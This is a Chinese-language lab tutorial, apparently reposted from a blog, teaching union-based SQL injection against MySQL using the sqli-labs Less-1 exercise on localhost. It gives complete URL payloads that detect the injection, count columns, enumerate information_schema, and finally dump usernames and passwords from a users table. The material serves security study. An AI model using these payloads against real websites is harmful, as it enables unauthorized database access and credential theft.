0


WEB攻防-通用漏洞-SQL注入-MYSQL-union一般注入

前置知识

  1. MySQL5.0以后存放一个默认数据库information_schema
  2. schemata表存放该用户创建的所有库名,schemata. schema_name字段存放库名
  3. tables表存放该用户创建的所有库名和表明,tables.table_schema字段存放库名,tables.table_name存放表名
  4. columns表存放该用户创建的所有库名、表名和字段名,columns.table_schema存放库名,columns.table_name存放表名,columns.column_name存放字段名
  5. database():当前使用的数据库
  6. version():当前MySQL的版本
  7. @@version_compile_os:当前操作系统
  8. user():当前MySQL的用户
  9. group_concat() 罗列出当前参数的所有数据

靶场平台:

sqli-labs的less1

U****nion一般注入

判断注入点

127.0.0.1/sql/Less-1/?id=1',输入?id=1’后报错,根据报错信息 ''1'' LIMIT 0,1',单引号包含到就是报错位置'1'' LIMIT 0,1,其中1'是我们传入的,可以看到有一个单引号包裹着,由此推断出该sql语句由单引号的闭合模式

127.0.0.1/sql/Less-1/?id=1' and 1=1%23,(%23代表#),其中and 1=1为真,所以返回结果相同。因为是单引号的闭合模式,所以应该在1后面输入一个单引号将其闭合,否则将把后面的都当作整体,由于我们人为地闭合和引号,语句就变成‘1‘ and 1=1‘ LIMIT 0,1,会报错,

所以需要把后面的注释掉,#在地址栏不自动转换编码,所以手动转换%23,‘1‘ and 1=1#‘ LIMIT 0,1

127.0.0.1/sql/Less-1/?id=1' and 1=2%23,由于and 1=2为假,根据条件判断sql执行后是null的,所以返回未查到数据

order by猜字段数

通过order by n猜当前查询有几个字段,n取返回正常页面的最大值,原理是n代表使用第几列用于排序,假设只有3个字段,n取4就会报错 1054 - Unknown column '4' in 'order clause',因为没有第四个字段

127.0.0.1/sql/Less-1/?id=1' order by 3%23返回正常

127.0.0.1/sql/Less-1/?id=1' order by 4%23返回异常

故n为3,当前查询有3个字段

union联合查询获取显示位

127.0.0.1/sql/Less-1/?id=1' union select 1,2,3%23,order by中n是多少就需要填充几个数字(值)作为占位符,但发现没有得到期望结果

由于mysql前表查询的内容总在前面,后表查询的内容在后面,并且limit 0,1只返回一条结果,所以union获取的结果没有输出

补充:在access数据库中,后面union查询始终在第一行。

把参数修改为数据库中没有的数据,如-999,让前表无法查询到,从而返回后表的内容

故只要使得前表查询失败即可,127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3%23,从而得到显示位为2和3,这时就可以通过显示位去注入一些sql语句或函数来达到目的

注入利用

根据前置知识获取数据库的信息和数据

127.0.0.1/sql/Less-1/?id=-1' union select 1,version(),database()%23,尝试获取数据库名和数据库版本

group_concat() 将当前获取的所有数据拼接输出

查数据库security下的表名:127.0.0.1/sql/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= 'security'%23

查users表的字段名:127.0.0.1/sql/Less-1/?id=-1' union select 1, 2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

查询username和password:127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users %23

标签: mysql sql注入

本文转载自: https://blog.csdn.net/weixin_45534587/article/details/140604718
版权归原作者 癞皮狗不赖皮 所有, 如有侵权,请联系我们删除。

“WEB攻防-通用漏洞-SQL注入-MYSQL-union一般注入”的评论:

还没有评论